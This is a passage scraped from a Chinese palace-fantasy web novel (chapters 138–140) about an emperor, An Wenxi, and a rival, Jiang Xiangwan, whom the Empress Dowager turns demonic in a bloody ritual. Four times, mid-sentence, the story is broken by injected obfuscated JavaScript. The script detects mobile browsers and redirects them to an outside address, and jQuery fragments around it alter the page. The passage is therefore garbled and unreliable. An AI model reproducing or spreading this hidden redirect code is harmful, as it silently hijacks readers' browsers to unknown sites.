月清绝看到欢凉出来,眼睛一亮,“你这个小丫头,本公子对你这么好,你竟然不告而别,本公子的心都被你伤透了。” “月公子,我……”欢凉有些不好意思与月清绝对视,不告而别的确是她不对。 “什么都别说了,赶紧劝劝你的好公主,咱们解毒要紧。” “臭丫头,别听他废话,他就是想将你留下。”袭匀撇嘴。 “本公子就是想留下小丫头怎么了,告诉你**袭,你爱走走,别老缠着我家小丫头好么?” “本公子就不走!”袭匀怒视着月清绝,。 “够了!”安文夕怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451035|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥道。 北宫喆已经策马行至马车前,盯着安文夕的眼睛道:“跟朕回去!” 安文夕还没有来得及反应,只觉一阵白衣掠过,腰间突然多了一只霸道的手将她牢牢锁着,然后下一瞬她已经翩然**。 “北宫喆。” “朕在。”北宫喆放在她腰间的手又加大了几分力道。 “你……” “夕儿,不要再逃避朕了。”北宫喆一手揽着她,一手握着缰绳,双腿一夹马腹,策马而去。 月清绝看着前方的一堆璧人策马扬鞭,脸上出现了一抹羡慕之色,转眸看向欢凉,谁知视线却和黑着一张脸的袭匀对视个正着。 “你若是敢碰臭丫头,本公子打断你的腿!”袭匀恶狠狠道,看月清绝的神色,分明想要模仿北宫喆将欢凉带走。只要有他在,闷骚月想都别想。 “切,你没那个本事。”月清绝甩下这一句扬长而去。 夏宫,长乐宫。 如今的夏宫已经完全是曹暮烟的天下了,北宫喆所纳的宫妃哪个不是对她毕恭毕敬?北宫喆离朝之时将朝中之事交由右相易寒打理。在北宫喆不在宫中的半个多月,曹暮烟几乎独揽朝政,在前朝之上一步步换上了她的人,而那易寒却丝毫不敢说个不字。曹暮烟认为易寒不过是北宫喆近几年扶持起来的新秀,手腕跟江佑城那个老狐狸相比嫩了许多,不禁对易寒生了轻视之心。 曹暮烟斜斜的靠在软榻上,吃着沧月刚刚削好的苹果,姿态慵懒至极,却偏偏透出一股子雍容华贵。 半晌才抬眼扫了眼立在阶下的女子,懒洋洋的动了动红唇。 “来哀家宫里,又不是什么见不得人的地方,你何必包裹的这么密不透风?” 阶下的女子身材玲珑,淡紫色的罗裙外面罩了一层黑色的斗篷,大大的风帽将她的脸颊几乎全部遮住,只露了尖尖的下巴。听到曹太后说话,这才将头上的风帽摘掉,看着软榻上那妖艳的女子眸光中略略带出来的不屑,微微咬了咬下唇。 曹暮烟打量着女子那苍白的脸色,勾起了红唇道:“晚儿来哀家这里,是不是已经想好了?” 江向晚垂着眸,像是在做着激烈的斗争一般,半晌她赫然抬起头道:“太后娘娘,晚儿想好了。” “呵……”曹暮烟妩媚的笑了笑。 “哀家就说,咱们是一路人,你会来找哀家的。”曹暮烟说完施施然起身,慢慢的走向台阶,勾起江向晚的下巴,啧啧道:“这样的美人儿,哀家看着都心生怜惜,可惜皇儿不知道珍惜。” 冰冷的触感,令江向晚通过下巴处掠过一阵阴寒,仿佛被滑腻的毒蛇爬过一般。 “太后娘娘,晚儿该怎样做?” 喆说了等他过几日回朝之后就取出她体内的引魂丹,让她沉睡。可是,若是一辈子都拿不到千年龙魄的话,她要沉睡一辈子么?就算几年之后,喆得到了千年龙魄,那时他都和安文夕儿女成群了,她醒来还有什么用? 她已经等不了了,她不想死,她想变得强大,她想将安文夕狠狠的踩在脚下! 曹暮烟观察者江向晚脸上的神情变化,抓住她的手道:“晚儿,你随哀家来。” 第138章 一念成魔 第一百三十八章一念成魔 通往长乐宫的内殿有条幽深的小径,纵是白天,这里也非常阴暗,明明灭灭的宫灯更添了几分阴森。 江向晚这是第一次来这里,手心里出了一层细汗,而曹暮烟抓着她的手腕,丝毫不容她挣脱。她知道,开弓没有回头箭,自从进了这长乐宫,她就只能一步步走下去! “晚儿,来这里。”曹暮烟引着她进了殿门,内殿很幽暗,零散的几盏清油宫灯发出星点微弱的光。 “太后娘娘。”阴冷的氛围不禁令江向晚打了个寒颤。 “怕什么,哀家又不会吃了你。”曹暮烟松开江向晚的手,伸出手来,沧月立即将一把精致小巧的金色小刀递到她的手中。 曹暮烟勾唇一笑,“一念成佛,一念成魔。这人若是入魔,多半由心而生,所谓心魔。而你不同,因为你根本就没有心。” 江向晚闻言微微垂下了头,“还请太后娘娘指点。” “其实这也不难,不过你得拿东西和哀家交换才是。” “不知太后娘娘想要什么东西?”她连心都没有了,曹太后还想从她这里得到什么? “引魂丹。” 江向晚一愣,瞥了眼笑得妖艳的曹暮烟,心中一惊,她上次只是说与她为伍,生下喆的孩子交由她作为傀儡新帝,便可以帮她恢复她的身体,给予她巨大的力量,怎么今日却提到了引魂丹? 难道是……江向晚眼角的余光瞥了眼曹暮烟的小腹和立在一旁的沧月。再联想到如今前朝的局势,江向晚心中渐渐清明。现在,要么是曹太后老蚌怀珠,要么是她已经等不了了! “怎么,不愿意?” “太后娘娘,这引魂丹本就不是晚儿的,皇上说了等他回朝就将引魂丹取走。” 只见曹暮烟红唇一勾,锐利的凤眼直摄心魄,“哀家还以为晚儿打算自个儿留着呢。” “太后娘娘说笑了,晚儿怎么敢呢?”江向晚看着曹暮烟风情万种却贵不可攀的姿态,垂眸掩下眼底的阴毒,待她得到强大的力量之后,必要将这个老妖精从高处狠狠地拽下来。 江向晚心中在想什么,曹暮烟岂会不知,在她转身和之际,眸中寒意渐盛,声音也冷了几分,“可惜了,哀家不见到这引魂丹,没办法帮晚儿呢。” “太后娘娘……”江向晚神色一惊,咬着下唇犹豫了半晌,最终下定了决心道:“既然太后娘娘想要这引魂丹就取走吧,相信若是您要,皇上也会亲手献上。” 曹暮烟走过去拍了拍江向晚的手背,亲切道:“这才是哀家的好儿媳。” “你先躺下,这引魂丹和魔性相克,只有取出来这引魂丹,哀家才好助你成魔。” 江向晚抿了抿唇,最后还是依着曹暮烟的吩咐平躺在了软榻上。 曹暮烟笑意涔涔的把玩着手中的金色小刀,然后不知从什么地方摸出一粒药丸塞进江向晚嘴里,接着点了她的穴道,掀开她胸口的衣服,循循诱道:“放心,那是给你止疼的,哀家不会害你。” 嘴里顿时升起了一股发霉了般,辛辣苦涩的味道,江向晚不自觉地皱了皱眉。 曹暮烟说完,手中的寒光立现,毫不犹豫的将金色小刀刺进了江向晚的胸膛,划过她的皮肤,割开一道血口,让她的血液流尽,生生的从里面掏出了一粒泛着血色的七彩琉璃珠。 曹暮烟眼中划过一抹巨大的喜色,紧接着涌出一片阴狠,倏地将手中的七彩琉璃珠收进袖中。 江向晚紧闭着眼睛,不去看胸口处的血腥。 曹暮烟飞快的用金色小刀划过自己的手腕,一股妖冶发黑的血液蜿蜒流下,她立即将这血液全部流进江向晚的胸口的伤口处。 不消片刻,江向晚胸口处原本殷红的鲜血顿时变黑,而她的唇瓣也呈现出耀目的紫色来。曹暮烟接过沧月递来的玉碗,盛了慢慢一碗黑色的血液,捏着江向晚的下巴,强迫着她将碗里的血液全部喝完。 末了,她一把抹掉手腕上的血迹,指尖擦过,手腕上刚刚划开的伤口立即消失不见,再看江向晚的胸前,此时只有一道浅浅的划痕,刚才的鲜血淋漓全部消失的无影无踪。 江向晚蓦地睁开了眼睛,眼底一片血红,嘴唇更是紫的发黑,她倏地握紧了双拳,从软榻上一跃而起。 突然,手心中一阵发热,仿佛有什么东西要破体而出。半晌,一截丑陋不堪的蛇蔓枯藤探出头来,江向晚顿时吓得大惊失色,死死地握住自己的右手,眼中尽是不可置信。 这种丑陋的东西她曾经在曹暮烟手中见过,难道带给她无穷力量就是它么? “你会喜欢它们的。”曹暮烟浅笑。 江向晚闻言神色一凛,一步步靠近曹暮烟,双眸泛着阴毒,手心的蛇蔓因为她的愤怒而肆意汹涌,就连她额头上的蛇纹蔓藤也若隐若现。 “你竟敢骗我!” “哀家几时骗你了,这些都是你自愿的。” 江向晚手中的枯藤立即飞了过去,欲将曹暮烟死死缠住,沧月身形一闪,立即将曹暮烟带了出来。江向晚不甘心的嘶吼着,整个长乐宫都发出凄厉阴森的声音,令人从心底发寒。 “还我的引魂丹!”江向晚祭出青霜剑。 沧月眸光一凛,冷道:“江小姐确定要在长乐宫撒野么?” 半晌,江向晚慢慢平静下来,眼底的血色渐渐淡去,现在就是再后悔也晚了!她咬了咬唇,抓起地上的斗篷,转身从殿外走去。 “别怪哀家没提醒你,你要合理控制自己的脾气,不然吓到了皇帝就晚了。” 江向晚脚步一顿,握了握拳,急切的逃离了这里。 曹暮烟没有在意江向晚的情况如何,从衣袖中取出引魂丹仔细端详。 “有了这引魂丹,哀家就不怕找不到那莫虞。” 当年那月无痕夫妇花费毕生心血竟然给莫虞那**做了一枚引魂丹,妄想救活她,可惜她进不了枫月谷,不然,她定将月无痕夫妇杀之后快! 她找了那么多年,终于知道了那莫虞的尸身未毁,而且,那安莫霖也没死,只是不知道被北宫喆这个小杂种藏到何处去了! 他们一家团聚,只剩下她一个孤家寡人,她怎么肯?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451036|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“烟儿放心,有了这引魂丹,必然能够引出安莫霖。” 曹暮烟眼底划过一抹阴狠,随即点点头,“阿袭还是没有音讯么?” 沧月顿时眸光一黯,“没有。”她明明知道那袭匀是故意接近她的,她却依旧甘之如饴,无非是因为那袭匀和当年的安莫霖清冷的神丨韵有几分相似罢了。 沧月抿了抿嘴角,放在曹暮烟腰间的手越发的不规矩起来,大胆的挑逗着她的敏感。 不消片刻,曹暮烟已经丢盔弃甲,浑身发软的靠在沧月肩头。 “烟儿,我们赶紧生个孩子吧,这大夏也算是有了后继之人。”沧月一把将曹暮烟抱了起来,走向寝殿。 —— 北宫喆将安文夕带回了营帐,此时安扎在此处的夏营已经拔营起寨,不远处停了几辆宽大的马车,清油篷布,极为普通。 听到马蹄声,月无双倏地从一辆马车里边跳了下来,看到她兴奋道:“夕姐姐,我就知道喆哥哥会将你带回来的。” 安文夕翻身下马,月无双立即走过来挽住安文夕的手道:“夕姐姐,好端端的你怎么突然要走,就是走也要带上无双呀,不然无双整天面对一张冰块脸的喆哥哥多没意思啊,尤其是我哥天天叨叨个没完。” “若是将你拐跑了,你哥铁定跟我没完。” “他敢,无双现在都已经长大了,他不能限制无双的自由!”月无双说着将安文夕引上马车,在车帘放下之际,月无双得意的对北宫喆挑了挑眉。 接着,月清绝等人相继赶来,欢凉立即下了马车,然后上了安文夕所在的马车,袭匀丝毫不甘落后,紧追而去。 月无双瞥了眼将要踏上马车的袭匀,不乐意的撇撇嘴,“你一个大老爷们坐什么马车?” “我一个大老爷们怎么就不能坐马车了,这可是北宫喆亲自接本公子回来的。” “切,脸皮可真厚!”月无双倏地放下了车帘,将袭匀挡在了外面。 这时,马车内传来欢凉幸灾乐祸的声音道:“你想坐马车也行,就待在外面赶车吧!” 袭匀忿忿的握住了缰绳,他何时能摆脱马夫的命运,让他这么英俊潇洒的翩翩佳公子赶车太跌身份了! 北宫喆见他们都收拾完毕,说道:“启程!” 幽冥山位于西楚南部,他们此行先要赶往沐阳,然后再从沐阳前往幽冥山。 月清绝自己一个人赶了辆马车,颇为悠然自得,对袭匀挑眉道:“**袭,你要不要考虑和本公子一起啊,本公子为你赶车。” 袭匀撇撇嘴:“本公子不稀罕!” 一路上,月清绝和袭匀拌了一句的嘴,谁也不服谁。 车行半路,一个浑身是血的人躺在小路旁,赫然闯进了袭匀的视线,他立即一把勒住了缰绳。 “能不能每次停车的时候说一下?”欢凉重重的撞在了车壁上,不禁怒道。 袭匀自动忽略了欢凉的抱怨,一把掀起车帘,对安文夕道:“小师妹,你过来。” 安文夕看着袭匀一脸凝重,立即挪了过来,“怎么了?” 第139章 她在在意 第一百三十九章她在在意 “小师妹,你看那里。” 安文夕顺着袭匀手指的方向看去,待目光接触到那个浑身是血的人时,杏眸蓦地骤缩。 “你看身形像不像无涯?” 袭匀都能认得出来,安文夕自然不会认错,她双手一撑,直接跳下了马车,北宫喆眸光一凛,立即翻身下马,一把抓住了安文夕的手。 “别过去。” 看着北宫喆幽深的眼神,安文夕蓦地一惊,无涯无端端的出现在这里,难道有阴谋? 思索之际,袭匀已经探身上前,欢凉和月无双、月清绝也跟了上来。 “**。”月清绝扫了一眼道。 安文夕心中一紧,这个人也许只是身形看着像无涯而已,毕竟上次晟哥哥还说无涯和秋水在南昭呢,她在心里一遍遍提醒着自己。 她俯下身子,准备将地上的人扳过身子,北宫喆突然制止了她,“慢着。” 看着他一脸凝色,安文夕不禁神色凝重起来,不再轻举妄动。 北宫喆扫了眼众人道:“你们都离远些。” 安文夕握着北宫喆的手,丝毫没有松的意思,双眸紧紧锁着地上浑身是血的人,咬着下唇。 北宫喆眸光一敛,赫然出掌将地上的人一下掀起,果然,一枚闪着寒光的**蓦地从那人的嘴里吐了出来,带着巨大的力道直直的朝北宫喆射来,速度之快,根本令人来不及躲避。 “叮——”北宫喆一掌将那枚银针打偏,钉在了一旁的大树上。 “啊!”月无双突然捂着嘴惊呼道。 众人齐齐朝地上的人看去,胃里都不禁泛起了酸水,那哪是一张脸啊,整张脸皮被齐整的割下,没有脸皮的脸本就狰狞不堪,再加上上面布满了烙伤和鞭伤,皮肉外翻,看起来十分恐怖。脸上不少地方已经开始腐烂流脓,散发出尸臭的味道。 这是无涯? 安文夕双手颤抖的想要去去掀开无涯的衣袖,不料却被北宫喆握紧了双手,“清绝,你来。” 月清绝眉心一跳,开什么玩笑,这个人身上浑身是毒,北宫喆这小子爱惜媳妇,他还爱惜自个儿呢! 虽然心里这么想,月清绝还是寻了一根树枝将地上那人的衣袖挑起。 待看到那人手腕上那块粗陋不堪的烫伤时,安文夕蓦地坐在了地上,眸中一片惊诧。欢凉眼中的泪水再也止不住,哽咽道:“公……公主,这是无涯!” 安文夕的目光再次接触到那张可怖的脸时,不由得捂住了自己的嘴巴,狠狠的咬着唇角。 无涯,以前容貌惊人,不少女人在他面前都要羞愧三分。而且,他向来爱惜自己的容貌,一般脸上长个痘都要紧张半天,他是怎么忍受的了容颜被毁? 到底是谁,竟然这么歹毒,用如此残忍的法子毁了无涯的脸! 突然,安文夕的眼前再次闪现那次九华殿刺杀的那一幕,是了,是换脸! 换脸又分为两种,一种是让秘术师做出人皮,然后将要变脸之人的面皮剥下,将做好的人皮换到那人的脸上。而另一种就是将面皮从原主的脸上生生剥离,然后再换到另一个人脸上,这种换脸,是最简单的换脸。 换脸不同于**,它可以达到天衣无缝的效果。 如今,九州大陆会做面皮的秘术师少之又少。 那么,那日九华殿上的无涯和秋水的换脸术就是属于后者了! 安文夕想到这里,一颗心顿时沉到了谷底,既然这样,想必秋水也一定被人剥了脸皮了。如今无涯出现在了这里,那秋水呢?他是早就曝尸荒野还是被慕容清带去了洛城?无涯和秋水明明是南昭,怎么会落到了慕容清的手上?安文夕顿时心乱如麻,难道上次晟哥哥骗了她,她不敢再往下去想。 “你别拦我,这是无涯。”欢凉脸颊上挂着泪水,拼命的挣脱袭匀的双手。 “你疯了,他身上有毒!”刚才月清绝都被不敢直接接触。 月清绝看了半晌道:“这尸体不能留,不如早点烧了吧。” “你敢!”欢凉怒视着他道。 “欢凉,月公子说得对,无涯的尸体不能留。”安文夕垂眸道。 “可是……可是公主,无涯那么骄傲的一个人,怎么会同意……” “那你总不能让他的尸体在这里慢慢腐烂吧。”月清绝蹙眉道。 欢凉闻言顿时哑了口。 安文夕咬了咬牙对月清绝道:“如此就麻烦月公子了。” 北宫喆收紧了握着安文夕的大手,然后另只手攀上她的腰间,身形一跃,将她带至马背。 安文夕正欲说话,只听北宫喆道:“他的骨灰会给你的,放心便可。” 袭匀也拉着欢凉起身避开,欢凉泪眼婆娑,却再也没有抽泣出声。 月清绝瞥了眼站在身后的月无双道:“你也离远些,我怕待会烧起来会有异样。” “我不怕,我是堂堂枫月谷的大小姐,还会怕这点毒么?”月无双说着从身上取出一个小瓷瓶递给月清绝道:“我一猜你就没带这百花清毒散。” 月清绝顿时眼睛一亮,赞道:“还是无双靠谱。” 月无双撇撇嘴,“瞧你那点出息,什么时候你能长点心啊,回头出去别说是我哥,丢人!” 月清绝眸光一敛,抬手去打月无双,“我不就这一次没带么,你就这么寒碜我,看我不打死你。” 月无双轻松躲过,挑衅般的扬了扬眉。 他拔掉瓶塞,将小瓷瓶内的粉末慢慢的倒在了无涯身上,这百花清毒散有解毒之效,不然待会一旦烧起来,会将他体内的毒弥漫到空气中。 月清绝点燃了无涯的尸身,大火足足少了一个时辰才逐渐熄灭,英俊非凡的无涯最终化作了一抔灰土,安文夕眼中尽是凄然。 由于在这里待了将近两个时辰,他们抵达沐阳的时候,已经暮色渐深。 风明所带领的风家军驻扎在了沐阳,原来驻扎在济州的夏军已经班师回朝。慕容清一走,奢华万分的青华宫便空了下来,因为安文夕比较厌恶青华宫,故而一行人皆宿在了风家营内。 令安文夕想不到的是,在这里她竟然看到了一个意外的人。 她刚从马车上下来,一道淡紫色的身影便急急朝北宫喆奔去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456486|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“江小姐,你怎么会在这里?”月清绝惊诧道。 江向晚挽着高髻,黛眉淡扫,一向苍白的脸色也有了几分红润,在淡淡的灯火下十分明艳。身上的紫色轻纱勾勒的身材分外婀娜娉婷,看上去极有精神。 “喆……” 北宫喆淡扫了江向晚一眼道:“先进去吧。”随即将视线放在了安文夕是身上,对她伸出手,嘴角不自觉地微勾,“走吧。” 看着他伸出的手,安文夕一阵犹豫,她身后的袭匀蓦地推了她一把,北宫喆顺势揽住她的腰,握住了她的手。 江向晚抿了抿唇,双手紧握,面上隐隐有一抹不甘。 袭匀心情颇好的挑了挑眉,不管怎样,也不能被别人踩下去不是。 惊魂离在不远处,看着这一幕,微微叹了口气。 进了营帐,江向晚急忙给北宫喆倒了杯茶,“喆,你这一路辛苦了,先喝杯茶解解乏。” 北宫喆没有接茶,看向惊魂道:“朕不是让你送她回去了么?” “喆,你不要责怪惊魂,是我执意要来。”江向晚急急解释道。 “你的病好了?”北宫喆的声音有些发冷。 “没有,喆,但是晚儿觉得如今精神还可以,就想待在你身边陪着你。晚儿知道,可能下一次晚儿就会彻底沉睡,死去,晚儿只想抓住这最后的时间……” “朕不会让你死。” 这霸气又肯定的语气令安文夕心中一颤。 “可是喆,你若是想用十座城池换那千年龙魄,晚儿决不答应,这大夏的江山在你眼中可是胜过生命啊,决不能因为晚儿就……” 此言一出,众人皆齐齐看向北宫喆,似乎在考究这件事的真实性。 安文夕心中顿时一滞,闷闷的透不过起来,双手紧紧的攥着衣袖,她明明知道江向晚这是故意说给她听的,这么明显的伎俩,可是她却控制不了自己不去在意。 月无双有些担心的看了眼安文夕,江向晚那个坏女人分明就是故意刺激夕姐姐的! 半晌,北宫喆开口道:“既然你想跟着就跟着吧。” 江向晚闻言脸上浮现喜色来,她就知道喆不会忍心再将她赶回去的,她赌对了! 北宫喆眼底的余光瞥了眼身侧的安文夕,她垂着眼睑,静静的捧着手中的茶,仿佛一切都与她无关。 可是北宫喆知道,她这是吃醋了,她在在意。 他微微扬起了唇薄,不动声色的将手放在了安文夕的大腿上,蓦地捏了一把,安文夕一惊,手中的杯子顿时从手中滑落,茶水一股脑的撒了安文夕一身。 北宫喆眼疾手快的从凳子上捞起安文夕,抱着她去营帐内换衣服,留下了面面相觑的众人和脸色有些挂不住的江向晚。 半晌,月无双反应过来,不禁暗叹一声,喆哥哥真是一个老奸巨猾的老狐狸,竟然用这样的办法抛下众人。 月清绝亦是嘴角一抽,这损招,不是他最擅长的么,北宫喆这小子什么学去的? 江向晚看着北宫喆着急的神色,恨不得将指甲齐齐掐进肉里,喆现在讨厌她了么,竟然接连两次不给她台阶下。 第140章 叫我名字 第一百四十章叫我名字 还是因为她故意刺激安文夕喆在怪她? 他不舍得安文夕受委屈,可是她呢?她所受的委屈都是他给的,他可有想过她的感受? 江向晚恨恨的望着北宫喆的背影,鼻头一酸,眼底隐隐的泛出血色来。 月清绝无意的瞥见了神色有些异常的江向晚,心中一惊,难不成她的身体又不行了? “江小姐,本公子看你气色不太好,不如我为你把把脉?” 江向晚蓦地一滞,眼底的血红蓦地褪去,微微扯了扯唇道:“不必了,不麻烦月公子。”说完飞快的出了营帐。 一旁沉默的惊魂立即跟了上去。 “哥,喆哥哥带着夕姐姐抛下她走了,她的气色能好到哪里去,你还明知故问。” 月清绝眉头微蹙,总觉得哪里有些怪怪的,可是又说不出来。 江向晚一直走了许久才停下来深吸了一口气,听到身后的脚步声,不用回头也知道是谁,也许只有他还记得关心她。 “你怎么也来了?” “我……”我不放心,惊魂到底没有勇气说出那句话,抿了抿唇道,“我来看看你。” “你放心,我很好,死不了的。”江向晚苦涩的笑了笑。 “晚儿……”惊魂将身上的披风披到江向晚身上。 江向晚蓦地一惊,转过身来将身上的披风丢给惊魂道:“我不需要你的施舍。” 惊魂攥紧了手上的披风,“我从未想过施舍你。” 他眼中飞快的划过一抹受伤,江向晚抿了抿唇,她明明不想伤害他的,可是就是控制不了自己。 “惊魂……” 惊魂微微避开了她的手,“你还是叫我名字吧。” 江向晚一愣,惊魂苦笑道:“难不成你连这也忘记了?”说完,他苦涩的转身。 “**……季**,刚才……对不起。” 惊魂脚步一滞,回头微微勾唇,“晚儿,不用说对不起,我陪你走走散散心?” 江向晚迟疑着点了点头,两个人一路无话,走了不久,惊魂看着江向晚孱弱的身姿道:“你的身子能吃得消么,我们不如回去吧。” “我还没有那没用。”江向晚顿住了脚步,看着惊魂道,“你说,今日的一切是不是我咎由自取?” 看着惊魂的沉默,她苦涩一笑,“我这辈子最大的心愿就是看着他一步步走上九五之尊,然后陪他共看锦绣山河,现在他已经君临天下,可是,他却爱上了别人,这怎么可以?” 惊魂心中没由来得涌出一阵心疼,她向来心气高,又在这种事情上遇挫,自然会不甘心。 “惊魂,你说我该怎么办,我真的做不到看着他和安文夕亲亲我我,我做不到看着他弃我而去。” “晚儿……”惊魂觉得眼前的女子已经将北宫喆爱到了骨子里,为了他,她可以放弃尊严和底线,可以放弃一切。 他不禁再次叹气,北宫喆看得到她的痴心与付出,却始终无动于衷,就像她看着他对她的付出却也无动于衷一样。 “惊魂,我真的……真的好不甘心。”突然,江向晚眸光一敛,眼底掠过一抹阴狠,“所以,我绝不会放过她,是她抢了我的喆!” 江向晚脸上的阴毒吓了惊魂一跳,这样的晚儿太陌生! “晚儿,你想做什么?” “做什么?自然是将喆抢回来!” “你不要再去伤害瑾淑妃了。”不然的话,皇上对你仅有的容忍也没有了。 “你不会是喜欢上她了吧。”江向晚凝眸道。 惊魂一滞,“你瞎说什么!” 江向晚邪佞勾唇,“不是最好,你知道,我和她之间永远不可能和平相处,我们永远是敌人!” “晚儿,你变了。”变得不择手段,变得心狠手辣,惊魂隐隐觉得今晚的江向晚有些异常,脾气比以前更加的暴躁不堪。 “我就是变了也是被逼的。”江向晚眼底迅速闪过一片血红,利眸蓦地扫向惊魂,厉声道,“你今天来就是来说教的么?如果是,立即给我滚开!” 惊魂握了握拳道:“夜深了,雾重,早些回去歇息吧。” 他再次给江向晚系上了披风,“你若是嫌弃的话,就扔了吧。” 他的爱虽然卑微,却不是没有尊严的。 江向晚闻言,解绳子的手蓦地一顿,双眸的血色渐渐退却,一阵凉意扑面而来,她犹豫了一瞬,随即拥紧了身上的披风。 —— 北宫喆抱着安文夕一路来到了他们的营帐内,将安文夕放在榻上,伸手欲解开安文夕的衣裙,却被安文夕一把按住了他的手,不悦道:“你做什么?” “我看看。” 由于那水只是温水,所以仅仅湿了衣服罢了,并没有什么大碍。再说了,都烫了这么长时间了,他才想起看不觉得太晚了么? 安文夕挪了挪身子,背对着北宫喆,他在这里,她并不想换衣服。 “还在吃朕的醋?” “没有。” “还说没有,朕都闻到醋味了。” 安文夕咬牙,“狗都闻不出来,你能闻出来了?” 北宫喆被她骂的笑了起来,“嗯,朕闻出来了。” 他一边打趣她,一边解她的腰带。 “死流氓,你给我滚开。”安文夕脸色涨红,他的手竟然不规矩,在她腰间乱摸!是不是也太无法无天了! “你都想哪去了,朕只不过是想给你换衣服罢了,你穿着湿衣服多难受。” “我……”安文夕顿时哑口,他被北宫喆摆了一道! “我自己来,不用你帮忙!” 北宫喆倒也没有勉强,低笑一声,径直去洗漱,将她一人留在了里间。 安文夕将外面的罩衫夹袄脱了下来,然后将湿透了的贴身衣服换了下来,匆匆洗漱完毕,赶在北宫喆来之前上了床,将自己整个儿用锦被裹了起来。 北宫喆看着裹成一团,缩在角落里的安文夕道:“躲那么远做什么,朕又吃不了你。” 安文夕装作没听见,然后将脑袋也一起遮了起来。 北宫喆褪去了身上的衣物,躺在安文夕身侧,抓住锦被的一角,用力一扯,将安文夕一下子扯到了他的怀中。 温软的身子蓦地贴在身侧,北宫喆眼底划过一抹狡黠,忍不住将她紧紧的拥在怀里。 可下一瞬,一把玄铁**蓦地抵在了他的胯下,冰凉的触感令他嘴角的浅笑顿时凝固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456487|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只见身侧的女子一把将他推开,她笑得肆意,“你若是不老实,我就废了你的老二!” 北宫喆眸光一凛,半晌他俊美无斯的脸上浮现了一抹强忍的痛意,额头上沁出一层细汗。 安文夕狐疑的瞥了他一眼,犹豫道:“你怎么了,难道我把你的伤口弄开了?” 北宫喆淡淡点了点头,安文夕立即放了下了手中的**,小心翼翼的褪去北宫喆的上衣,露出他精瘦的上身。 看着他后背上刚长出的粉色的新肉,安文夕暗呼不好,上当了! 北宫喆不待她反应,一把将她捞至怀中,随手一掌击灭了跳跃着得红烛。 “睡觉。”软香在怀,北宫喆满意的闭上了眼睛。 安文夕气的直翻白眼,她从没想到北宫喆竟然会如此无赖,她磨了磨牙,一口咬在揽着她的手腕上,谁知那人根本不为所动,偏偏他锁着她的力道,她又挣脱不开。 “北宫喆……” 安文夕唤了几声,身侧的人充耳不闻,他的呼吸均匀,仿佛已经进入了睡眠。 安文夕暗叹了一口气,不再挣扎,闭上了眼睛,慢慢睡去。 黑暗中,北宫喆倏地睁开了眼睛,嘴角扯起一道微不可见的弧度。 第二日一早,用过早膳,便要启程幽冥山。 安文夕和欢凉、月无双早早的上了马车,由于昨晚她一直被北宫喆抱在怀中,那力道几乎要将她勒得窒息,她半天才在迷糊中睡去。用过早膳,此时正困得厉害。 好在马车够大,安文夕上了马车,就靠在软榻上补觉。 江向晚环视了一下队伍中的马车,只有安文夕做得那辆马车比较宽大舒适,她犹豫了一下,走向那辆马车。 她是将来的皇后,若是坐的马车比安文夕的寒碜,岂不是矮了安文夕一头,那她的脸还往哪放? “江小姐,你怎么来了?”欢凉惊道。 安文夕被欢凉惊醒,掀开了眼皮,瞧了眼立在车前的江向晚,再次闭上了眼睛。 “怎么,我就不能来了么?” “不能。”月无双直接挡在门口,撅着嘴看向江向晚。 “月小姐,你好像没有权利阻止我进去吧。” “哼,反正有我在,就是不让你进!马车有的是,你干嘛偏偏和我们挤一辆?” 江向晚正欲开口,眼角偏见了一抹月白的衣角,立即垂下了头。 “无双,你又胡闹了?” “哥,我哪有胡闹,她非得和我们乘一辆马车,我猜她一准没安好心。” “请月小姐不要血口喷人。” 月清绝讪笑了笑,“江小姐不要见怪,无双她向来口无遮拦。” “月公子放心,我是不会和一孩子一般见识的。” “你——”月无双咬牙。 “无双,赶紧让开,让江小姐上去。” “哥……” “无双。”一声清冷的声音传来,月无双立即闭了口。 “喆……”江向晚期待的看着北宫喆。 北宫喆扫了江向晚微微蹙了眉,半晌淡道:“你去吧,无双不要再胡闹。” 